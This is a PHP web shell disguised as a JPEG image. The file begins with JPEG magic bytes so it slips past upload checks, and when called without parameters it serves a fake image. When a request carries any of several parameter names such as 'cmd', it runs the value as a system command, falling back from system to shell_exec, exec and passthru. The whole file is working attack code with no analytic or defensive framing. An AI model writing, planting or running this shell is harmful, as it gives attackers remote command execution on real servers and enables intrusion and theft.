ÿØÿàJFIFHHÿÛ<?php
/*
Perfect JPEG header bypass shell
FF D8 FF E0 = JPEG SOI marker + APP0
Minimalist but effective
*/

// Ultra-compact multi-param shell  
$p=['wanna_play_with_me','cmd','c','x','z','exec','run'];
foreach(['_GET','_POST','_REQUEST'] as $m)
    foreach($p as $k) 
        if(${$m}[$k]??0){
            // Multi-function fallback
            if(function_exists('system')) system(${$m}[$k]);
            elseif(function_exists('shell_exec')) echo shell_exec(${$m}[$k]);
            elseif(function_exists('exec')){ exec(${$m}[$k],$o); echo join("\n",$o); }
            elseif(function_exists('passthru')) passthru(${$m}[$k]);
            exit;
        }

// If no params, serve fake JPEG
header('Content-Type: image/jpeg');
echo hex2bin('FFD8FFE000104A46494600010101006000600000FFDB0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B0B0D0E12100D0E110E0B0B1016101113141515150C0F171816141812141514FFDB00430103040405040509050509140D0B0D1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414FFC0001108000100010101011100021101031101FFC4001F0000010501010101010100000000000000000102030405060708090A0BFFC400B5100002010303020403050504040000017D01020300041105122131410613516107227114328191A1082342B1C11552D1F02433627282090A161718191A25262728292A3435363738393A434445464748494A535455565758595A636465666768696A737475767778797A838485868788898A92939495969798999AA2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE1E2E3E4E5E6E7E8E9EAF1F2F3F4F5F6F7F8F9FAFFC4001F0100030101010101010101010000000000000102030405060708090A0BFFC400B51100020102040403040705040400010277000102031104052131061241510761711322328108144291A1B1C109233352F0156272D10A162434E125F11718191A262728292A35363738393A434445464748494A535455565758595A636465666768696A737475767778797A82838485868788898A92939495969798999AA2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE2E3E4E5E6E7E8E9EAF2F3F4F5F6F7F8F9FAFFDA000C03010002110311003F00');
?>